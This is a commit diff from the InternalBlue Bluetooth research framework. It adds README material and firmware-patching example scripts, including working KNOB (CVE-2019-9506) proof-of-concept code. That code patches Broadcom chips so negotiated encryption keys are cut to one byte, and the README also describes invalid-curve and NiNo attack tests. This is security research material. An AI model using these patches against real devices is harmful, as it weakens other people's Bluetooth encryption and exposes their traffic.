Fix subtle byte vs int issues ( 0 != '\x00 is True)

* Make InternalBlue start with ADBCore in Python 3
* Make InternalBlue start with HCICore in Python 3
* Substitute var.decode('hex') with bytearray.fromhex(var) in most places I found which works in Python 2 and 3 and performs the same task
* Substitute var.encode('hex') with new byte_to_hex function that works with Python 2 and 3 (in util.py)
* Declare variables explicitly as bytes instead of strings
* Fix small issue in macOS Core (explicit declaration of variable as byte)

.gitignore

@@ -17,3 +17,11 @@ btsnoop.log
 # xcode
 xcuserdata
 *.xcworkspace
+macos-framework/IOBluetoothExtended.framework/
+
+# venv
+venv
+venv3
+
+# pycharm
+*.idea

README.md

@@ -8,6 +8,129 @@ therefore implement monitoring and injection tools for the lower layers of
 the Bluetooth protocol stack.
 
 
+Publications and Background
+---------------------------
+
+* **Master Thesis** (07/2018)
+  
+  *InternalBlue* was initially developed and documented in the
+[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
+Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
+
+* **MRMCD Talk** (09/2018)
+
+  The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
+2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
+two demo usages at the end (Following a **Secure Simple Pairing procedure in
+Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
+
+
+* **35C3 Talk** (12/2018)
+
+  More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include 
+creating connections to non-discoverable devices. Moreover, we gave a **demo of
+CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
+was also recorded and gives a more high level overview.
+
+* **TROOPERS Talk** (03/2019)
+
+* **WiSec Paper** (05/2019)
+
+  Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
+  Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
+
+* **MobiSys Paper** (06/2019)
+
+  Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
+](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
+
+
+* **REcon Talk** (06/2019)
+
+  We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
+  It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
+
+* **MRMCD Talk** (09/2019)
+
+  Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
+  within *InternalBlue* and the Patchram state of various devices.
+  
+* **36C3 Talk** (12/2019)
+  
+  The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
+  points out a couple of new research directions and new Bluetooth projects coming up.
+
+* **EWSN Paper & Demo** (02/2020)
+
+  We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
+
+  
+
+
+Supported Features
+------------------
+
+This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
+
+On any Bluetooth chip:
+* Send HCI commands
+* Monitor HCI
+* Establish connections
+
+On any Broadcom Bluetooth chip:
+* Read and write RAM
+* Read and write assembly to RAM
+* Read ROM
+* Set defined breakpoints that crash on execution
+* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
+* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
+* Read AFH channel map
+
+On selected Broadcom Bluetooth chips:
+* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
+* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
+* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
+* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
+* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4) 
+* Full object and function symbol table (Cypress Evaluation Boards only)
+* Demos for Nexus 5 only:
+  * ECDH CVE-2018-5383 example
+  * NiNo example
+  * MAC address filter example
+* KNOB attack test for various devices, including Raspberry Pi 3+/4
+
+A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
+
+
+
+
+Requirements
+------------
+
+Android:
+* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
+* Android device connected via ADB
+* Best support is currently given for Nexus 5 / BCM4339 and Evaluation Boards
+* Optional: Patch for Android driver to support Broadcom H4 forwarding
+* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
+
+Linux:
+* BlueZ, instructions see [here](linux_bluez/README.md)
+* Best support for Raspberry Pi 3/3+/4
+* For most commands: Privileged access
+
+iOS:
+* A jailbroken iOS device (tested on iOS 12.1.2/12.4 with iPhone 6, SE, 7, 8, X)
+* The included `ios-proxy` (instructions in [here](ios-proxy/README.md))
+* Optional: a Mac with `xcode` to compile the proxy yourself
+* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
+  HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
+
+macOS:
+* Homebrew
+* Xcode 10.2.1
+* Instructions see [here](macos-framework/README.md)
+
 Setup and Installation
 ----------------------
 
@@ -94,103 +217,7 @@ because the leading two bytes are not required by Bluetooth communication, you
 can replace them with anything you want.
 
 
-Requirements
-------------
 
-Android:
-* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
-* Android device connected via ADB
-* Best support is currently given for Nexus 5 / BCM4339 and Evaluation Boards
-* Optional: Patch for Android driver to support Broadcom H4 forwarding
-* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
-
-Linux:
-* BlueZ, instructions see [here](linux_bluez/README.md)
-* Best support for Raspberry Pi 3/3+/4
-* For most commands: Privileged access
-
-iOS:
-* A jailbroken iOS device (tested on iOS 12.1.2 with iPhone 6+7)
-* The included `ios-proxy` (instructions in [here](ios-proxy/README.md))
-* Optional: a Mac with `xcode` to compile the proxy yourself
-
-
-
-
-Supported Features
-------------------
-
-This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
-
-On any Bluetooth chip:
-* Send HCI commands
-* Monitor HCI
-* Establish connections
-
-On any Broadcom Bluetooth chip:
-* Read and write RAM
-* Read and write assembly to RAM
-* Read ROM
-* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
-* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
-* Read AFH channel map
-
-On selected Broadcom Bluetooth chips:
-* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
-* Interpret coredumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
-* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
-* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
-* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4) 
-* Full object and function symbol table (Cypress Evaluation Boards only)
-* Demos for Nexus 5 only:
-  * ECDH CVE-2018-5383 example
-  * NiNo example
-  * MAC address filter example
-
-A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
-
-
-Background
-----------
-
-* **Master Thesis** (07/2018)
-  
-  InternalBlue was initially developed and documented in the
-[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
-Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
-
-* **MRMCD Talk** (09/2018)
-
-  The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
-2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
-two demo usages at the end (Following a **Secure Simple Pairing procedure in
-Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
-
-
-* **35C3 Talk** (12/2018)
-
-  More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include 
-creating connections to non-discoverable devices. Moreover, we gave a **demo of
-CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
-was also recorded and gives a more high level overview.
-
-* **TROOPERS Talk** (03/2019)
-
-* **WiSec Paper** (05/2019)
-
-  Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
-  Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
-
-* **MobiSys Paper** (06/2019)
-
-  Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
-](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
-
-
-* **REcon Talk** (06/2019)
-
-  We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
-  It gives a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
 
 
 
@@ -198,7 +225,7 @@ was also recorded and gives a more high level overview.
 License
 -------
 
-Copyright 2018-2019 Dennis Mantz, Jiska Classen
+Copyright 2018-2020 The InternalBlue Team
 
 Permission is hereby granted, free of charge, to any person obtaining a copy of
 this software and associated documentation files (the "Software"), to deal in

examples/README.md

@@ -1,10 +1,48 @@
 InternalBlue PoCs and Examples
 ==============================
 
-All examples were tested on a *Nexus 5* (*BCM4339* chip with firmware *BCM4335C0*) on *Android* and *LineageOS*.
 
-* [CVE_2018_5383_Invalid_Curve_Attack_PoC](CVE_2018_5383_Invalid_Curve_Attack_PoC.py)
-  provides tries to set the y-coordinate during ECDH key exchange to zero. If the device under test accepts the pairing (50% probability), it is vulnerable.
-* [LMP_MAC_Address_Filter](LMP_MAC_Address_Filter.py)
-  replies to all LMP packets with `LMP_not_accepted` if their source is not from a MAC address in the whitelist.
-* [NiNo_PoC](NiNo_PoC.py) sets the IO capabilities of the *Nexus 5* to no input, no output.
+KNOB Attack Test (CVE-2019-9506)
+--------------------------------
+We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
+This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
+Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py),
+[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
+and [Samsung Galaxy S8](s8/KNOB_PoC.py).
+
+
+Invalid Curve Attack Test (CVE-2018-5383)
+-----------------------------------------
+This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
+(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
+
+Available for the [Nexus 5](nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py).
+
+LMP MAC Address Filter
+----------------------
+Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
+
+Available for the [Nexus 5](nexus5/LMP_MAC_Address_Filter.py).
+
+NiNo Attack Test
+----------------
+Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
+If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
+This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
+active MITM attack.
+
+Available for the [Nexus 5](nexus5/NiNo_PoC.py).
+
+
+Measurement of BLE Receive Statistics
+-------------------------------------
+This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
+packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
+metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
+currently active channel map.
+
+Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script,
+as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py)
+and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
+We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
+with the full iOS stack, thus it is not pushed online here.

examples/eval_cyw20735/BLE_Reception_PoC.py

@@ -0,0 +1,47 @@
+#!/usr/bin/python2
+
+from pwn import *
+from internalblue.adbcore import ADBCore
+from internalblue.bluezcore import BluezCore
+
+"""
+Script that shows receive statistics from LE connections over HCI on the CYW20735B1 evaluation board.
+Generated with Nexmon.
+"""
+
+internalblue = ADBCore()
+try:
+    internalblue.interface = internalblue.device_list()[0][1]  # just use the first Android device
+except IndexError:
+    internalblue = BluezCore()
+    try:
+        internalblue.interface = internalblue.device_list()[0][1]  # ...or the first local HCI interface
+    except IndexError:
+        log.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
+        exit(-1)
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+progress_log = log.info("Connected to first target, installing patches...")
+
+# GENERATED PATCHES
+internalblue.patchRom(0x0008ea46, '\x89\xf1\x5b\xbc')
+internalblue.patchRom(0x0008edc2, '\x89\xf1\x1d\xbc')
+internalblue.patchRom(0x0008eec0, '\x89\xf1\x1e\xbb')
+internalblue.writeMem(0x00218200, '\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00')
+internalblue.writeMem(0x00218300, '\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf')
+internalblue.writeMem(0x00218500, '\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00')
+internalblue.writeMem(0x00218600, '\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00')
+internalblue.writeMem(0x00218800, '\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00')
+internalblue.writeMem(0x00218000, '\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00')
+
+
+# shutdown connection
+internalblue.shutdown()
+
+
+log.info("--------------------")
+log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")

examples/eval_cyw20735/KNOB_PoC.py

@@ -0,0 +1,48 @@
+#!/usr/bin/python2
+
+# Jiska Classen, Secure Mobile Networking Lab
+
+
+from pwn import *
+from internalblue.hcicore import HCICore
+
+
+
+"""
+This is a standalone PoC for the KNOB attack on a CYW20735 evaluation board.
+
+Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
+For details see https://github.com/francozappa/knob
+
+This PoC is much shorter since it only modifies global variables for key entropy.
+
+"""
+
+
+internalblue = HCICore()
+internalblue.interface = internalblue.device_list()[0][1] # just use the first device
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+
+log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
+
+# modify function lm_SendLmpEncryptKeySizeReq
+patch = asm("mov r2, #0x1", vma=0x7402A)  # connection struct key entropy
+internalblue.patchRom(0x7402A, patch)
+
+# modify global variable for own setting
+internalblue.writeMem(0x280F13, '\x01')  # global key entropy
+
+
+internalblue.shutdown()
+exit(-1)
+log.info("-----------------------\n"
+         "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
+         "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
+         "For more details, see special instructions for BlueZ.\n")
+
+

examples/nexus5/BLE_Reception_PoC.py

@@ -0,0 +1,176 @@
+#!/usr/bin/env python2
+
+# Jiska Classen
+
+# Get receive statistics on a Nexus 5 for BLE connection events
+
+from builtins import range
+from pwn import *
+from internalblue.adbcore import ADBCore
+import internalblue.hci as hci
+import internalblue.cli as cli
+
+internalblue = ADBCore(serial=False)
+device_list = internalblue.device_list()
+if len(device_list) == 0:
+    log.warn("No HCI devices connected!")
+    exit(-1)
+internalblue.interface = device_list[0][1] # just use the first device
+
+
+
+"""
+# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess
+# they never planned to support BLE. Even callbacks are defined in Patchram.
+# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
+"""
+RX_DONE_HOOK_ADDRESS = 0x224DEA
+HOOKS_LOCATION = 0xd7500
+ASM_HOOKS = """
+
+    // restore first 4 bytes of _connTaskRxDone
+    push  {r4-r8,lr}
+    mov   r4, r0
+
+    // fix registers for our own routine
+    push  {r1-r7, lr}
+    mov   r7, r0
+
+    // allocate vendor specific hci event
+    mov  r2, 243
+    mov  r1, 0xff
+    mov  r0, 245
+    bl   0x7AFC  // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
+    mov  r4, r0  // save pointer to the buffer in r4
+
+    // append buffer with "RXDN"
+    add  r0, 2  // buffer starts at 2 with data (?)
+    ldr  r1, =0x4e445852 // RXDN
+    str  r1, [r0]
+    add  r0, 4   // advance buffer by 4
+
+    // copy 239 bytes of le_conn to buffer
+    mov  r2, #238
+    mov  r1, r7  // le_conn[0]
+    //add  r1, 0x100 //TODO use this to access the connection struct with different offset
+    bl   0x46FE6 // __rt_memcpy
+
+    // for debugging purposes, we overwrite the first byte
+    // (which is the connTaskCallback anyway) with RSSI info
+    mov  r2, #1  // 1 rssi byte
+    add.w r1, r7, #0x12c // le_conn[0x12c] is position of RSSI in Nexus 5
+    mov  r0, r4
+    add  r0, 6
+    bl   0x46FE6  // __rt_memcpy
+
+    // send hci event
+    mov  r0, r4  // back to buffer at offset 0
+    bl  0x398c1     // send_hci_event_without_free()
+    
+    // free HCI buffer
+    mov r0, r4
+    bl  0x3FA36     // osapi_blockPoolFree
+
+    // undo registers for our own routine
+    mov   r0, r7
+    pop   {r1-r7, lr}
+
+    // branch back to _connTaskRxDone + 4
+    b 0x%x
+
+""" % (RX_DONE_HOOK_ADDRESS+4)
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+# Install hooks
+code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
+log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
+if not internalblue.writeMem(HOOKS_LOCATION, code):
+    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
+    exit(-1)
+
+log.info("Installing hook patch...")
+patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
+if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
+    log.critical("Installing patch for _connTaskRxDone failed!")
+    exit(-1)
+
+
+# RXDN statistics callback variables
+internalblue.last_nesn_sn = None
+internalblue.last_success_event = None
+
+
+def lereceiveStatusCallback(record):
+    """
+    RXDN Callback Function
+
+    Depends on the raspi3_rxdn.py or eval_rxdn.py script,
+    which patches the _connTaskRxDone() function and copies
+    info from the LE connection struct to HCI.
+    """
+
+    hcipkt = record[0]  # get HCI Event packet
+
+    if not issubclass(hcipkt.__class__, hci.HCI_Event):
+        return
+
+    if hcipkt.data[0:4] == "RXDN":
+        data = hcipkt.data[4:]
+
+        # Raspi 3 gets errors
+        if len(data) < 239:
+            return
+
+        # !!! Nexus 5 has really outdated struct...
+        packet_curr_nesn_sn = u8(data[0xa0])
+        packet_channel_map = data[0x4c:0x4c+38]
+        packet_channel = u8(data[0x7b])
+        packet_event_ctr = u16(data[0x86:0x88])
+        packet_rssi = u8(data[0])
+
+        if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
+            log.info("             ^----------------------------- ERROR --------------------------------")
+
+        # currently only supported by eval board: check if we also went into the process payload routine,
+        # which probably corresponds to a correct CRC
+        # if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
+        #    log.debug("             ^----------------------------- MISSED -------------------------------")
+
+        # TODO example for setting the channel map
+        # timeout needs to be zero, because we are already in an event reception routine!
+        # self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
+
+        internalblue.last_nesn_sn = packet_curr_nesn_sn
+
+        # draw channel with rssi color
+        color = '\033[92m'  # green
+        if 0xc8 > packet_rssi >= 0xc0:
+            color = '\033[93m'  # yellow
+        elif packet_rssi < 0xc0:
+            color = '\033[91m'  # red
+
+        channels_total = u8(packet_channel_map[37])
+        channel_map = 0x0000000000
+        if channels_total <= 37:  # raspi 3 messes up with this during blacklisting
+            for channel in range(0, channels_total):
+                channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
+
+        log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
+                                                                      (packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
+                                                                      color, ' ' * packet_channel))
+
+
+
+log.info("--------------------")
+log.info("Entering InternalBlue CLI to display statistics.")
+
+# add RXDN callback
+internalblue.registerHciCallback(lereceiveStatusCallback)
+
+
+# enter CLI
+cli.commandLoop(internalblue)

examples/nexus5/KNOB_PoC.py

@@ -0,0 +1,100 @@
+#!/usr/bin/python2
+
+# Jiska Classen, Secure Mobile Networking Lab
+
+
+from pwn import *
+from internalblue.adbcore import ADBCore
+import internalblue.cli as cli
+import internalblue.cmds as cmd
+import internalblue.hci as hci
+from internalblue.cmds import auto_int
+
+
+
+"""
+This is a standalone PoC for the KNOB attack on a Nexus 5.
+
+Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
+For details see https://github.com/francozappa/knob
+
+This PoC is much shorter since it only modifies global variables for key entropy.
+
+"""
+
+
+internalblue = ADBCore(serial=False)  # without custom bluetooth.default.so, change to True
+internalblue.interface = internalblue.device_list()[0][1]  # just use the first device
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+
+log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
+
+# modify function lm_SendLmpEncryptKeySizeReq
+patch = asm("mov r2, #0x1", vma=0x5AED0)  # connection struct key entropy
+internalblue.patchRom(0x5AED0, patch)
+
+# modify global variable for own setting
+internalblue.writeMem(0x203797, '\x01')  # global key entropy
+
+
+log.info("-----------------------KNOB-----------------------\n"
+         "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
+         "To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
+         "On Android, this requires a modified bluetooth.default.so.\n"
+         "-----------------------KNOB-----------------------\n"
+         "Automatically continuing on KNOB interface...\n"
+         "Use the 'knob' command to *debug* the attack, i.e.:\n"
+         "    knob --hnd 0x0c\n"
+         "...shows the key size of handle 0x000c.\n")
+
+
+class CmdKnob(cmd.Cmd):
+    """
+    Introduce a new CLI command to make KNOB debugging easier...
+    """
+    keywords = ["knob"]
+    description = "Debugs which key length is currently active within a connection handle."
+
+    parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
+
+    parser.add_argument("--hnd", type=auto_int, default=0x000c,
+                        help="Handle KNOB connection.")
+
+    def work(self):
+        args = self.getArgs()
+        internalblue.sendHciCommand(0x1408, p16(args.hnd))
+        return True
+
+
+def hciKnobCallback(record):
+    """
+    Adds a new callback function so that we do not need to call Wireshark.
+    """
+    hcipkt = record[0]
+    if not issubclass(hcipkt.__class__, hci.HCI_Event):
+        return
+
+    if hcipkt.event_code == 0x0e:
+        if u16(hcipkt.data[1:3]) == 0x1408:  # Read Encryption Key Size
+            if u8(hcipkt.data[3]) == 0x12:       # Error
+                log.info("No key size available.\n"
+                         " - Did you already negotiate an encrypted connection?\n"
+                         " - Did you choose the correct connection handle?\n")
+            else:
+                log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
+
+    return
+
+
+# add our command
+cmd.CmdKnob = CmdKnob
+internalblue.registerHciCallback(hciKnobCallback)
+
+
+# enter CLI
+cli.commandLoop(internalblue)

examples/nexus6p/KNOB_PoC.py

@@ -0,0 +1,100 @@
+#!/usr/bin/python2
+
+# Jiska Classen, Secure Mobile Networking Lab
+
+
+from pwn import *
+from internalblue.adbcore import ADBCore
+import internalblue.cli as cli
+import internalblue.cmds as cmd
+import internalblue.hci as hci
+from internalblue.cmds import auto_int
+
+
+"""
+This is a standalone PoC for the KNOB attack on a Nexus 6P.
+
+Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
+For details see https://github.com/francozappa/knob
+
+This PoC is much shorter since it only modifies global variables for key entropy.
+
+"""
+
+
+internalblue = ADBCore(serial=False)  # without custom bluetooth.default.so, change to True
+internalblue.interface = internalblue.device_list()[0][1]  # just use the first device
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+
+log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
+
+# modify function lm_SendLmpEncryptKeySizeReq
+#patch = asm("mov r2, #0x1", vma=0x4BC6E)  # connection struct key entropy
+#internalblue.patchRom(0x4BC6E, patch)
+# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
+
+# modify global variable for own setting
+internalblue.writeMem(0x204147, '\x01')  # global key entropy
+
+
+log.info("-----------------------KNOB-----------------------\n"
+         "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
+         "To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
+         "On Android, this requires a modified bluetooth.default.so.\n"
+         "-----------------------KNOB-----------------------\n"
+         "Automatically continuing on KNOB interface...\n"
+         "Use the 'knob' command to *debug* the attack, i.e.:\n"
+         "    knob --hnd 0x0b\n"
+         "...shows the key size of handle 0x000b.\n")
+
+
+class CmdKnob(cmd.Cmd):
+    """
+    Introduce a new CLI command to make KNOB debugging easier...
+    """
+    keywords = ["knob"]
+    description = "Debugs which key length is currently active within a connection handle."
+
+    parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
+
+    parser.add_argument("--hnd", type=auto_int, default=0x000c,
+                        help="Handle KNOB connection.")
+
+    def work(self):
+        args = self.getArgs()
+        internalblue.sendHciCommand(0x1408, p16(args.hnd))
+        return True
+
+
+def hciKnobCallback(record):
+    """
+    Adds a new callback function so that we do not need to call Wireshark.
+    """
+    hcipkt = record[0]
+    if not issubclass(hcipkt.__class__, hci.HCI_Event):
+        return
+
+    if hcipkt.event_code == 0x0e:
+        if u16(hcipkt.data[1:3]) == 0x1408:  # Read Encryption Key Size
+            if u8(hcipkt.data[3]) == 0x12:       # Error
+                log.info("No key size available.\n"
+                         " - Did you already negotiate an encrypted connection?\n"
+                         " - Did you choose the correct connection handle?\n")
+            else:
+                log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
+
+    return
+
+
+# add our command
+cmd.CmdKnob = CmdKnob
+internalblue.registerHciCallback(hciKnobCallback)
+
+
+# enter CLI
+cli.commandLoop(internalblue)

examples/rpi3/BLE_Reception_PoC.py

@@ -0,0 +1,90 @@
+#!/usr/bin/env python2
+
+# Jiska Classen
+
+# Get receive statistics on a Raspberry Pi 3 for BLE connection events
+
+from pwn import *
+from internalblue.hcicore import HCICore
+
+
